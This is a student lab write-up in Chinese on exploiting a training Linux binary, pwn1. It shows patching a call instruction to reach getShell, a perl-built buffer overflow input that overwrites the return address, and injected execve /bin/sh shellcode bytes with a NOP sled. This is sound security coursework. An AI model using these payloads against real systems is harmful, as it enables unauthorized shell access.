20165219 Exp1 PC平台逆向破解

20165219 Exp1 PC平台逆向破解

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode。

基础知识

linux常用命令大全

一 直接修改程序机器指令,改变程序执行流程

思路:pwn1_1中main()调用foo(),此实验旨在修改程序机器指令,使得main()调用getshell()

反汇编: objdump -d
1296533-20190316213641154-636643741.png

1296533-20190316213704642-911058722.png

main()中call指令指向foo()的内存地址0x08048491
,对应的机器指令为ffffffd7。现在想把call指令指向getshell()的内存地址0x0804847d,就要修改相应的机器指令。经过计算相应的机器指令为ffffffc3。

输入:

%!xxd

,将显示模式切换为16进制模式

/d7

查找要修改的内容 ,按i进入插入模式,修改d7之后,exc退出插入模式

:%!xxd -r

转换16进制为原格式

:wq

保存并退出

运行修改后的代码,发现权限不够,上网搜了一下,如下图解决办法
1296533-20190316213731958-1267325765.png

二 通过构造输入参数,造成BOF攻击,改变程序执行流

首先反汇编了解程序功能

# gdb

输入为字符时已经发生段错误,产生溢出:
1296533-20190316214124681-459017226.png

使用gdb进行调试:

1296533-20190316214152913-469868066.png

注意到eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出。将5改成其它
1296533-20190316214253567-760222797.png

输入字符串1111111122222222333333334444444455555555,5555会覆盖到堆栈上的返回地址,CPU会这个代码。只要把这四个字符替换为 getShell 的内存地址,输给pwn20165219_2,pwn1运行getShell。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

命令构造文件。然后使用指令

(cat input ) | ./pwn20165219_2

运行程序
1296533-20190316214937683-1053433063.png

三 注入Shellcode并执行

使用

apt-get install execstack

命令安装execstack
1296533-20190316215013306-197884381.png

修改以下设置
1296533-20190316215013306-197884381.png

我们选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1)

perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

注入这段攻击buf,在另一个终端查看pwn1这个进程

1296533-20190316215348799-737286888.png

gdb调试
1296533-20190316215721062-681338369.png

通过设置断点,来查看注入buf的内存地址
1296533-20190316215943610-1620670680.png

使用break设置断点,并输入c继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用

info r esp

查找地址。
1296533-20190316220026261-1493352502.png

使用x/16x 查看其存放内容,看到了01020304,就是返回地址的位置。

将之前的\x4\x3\x2\x1改为这个地址

最后执行攻击程序

1296533-20190316220125504-1356352187.png

转载于:https://www.cnblogs.com/wyb-1998/p/10544586.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值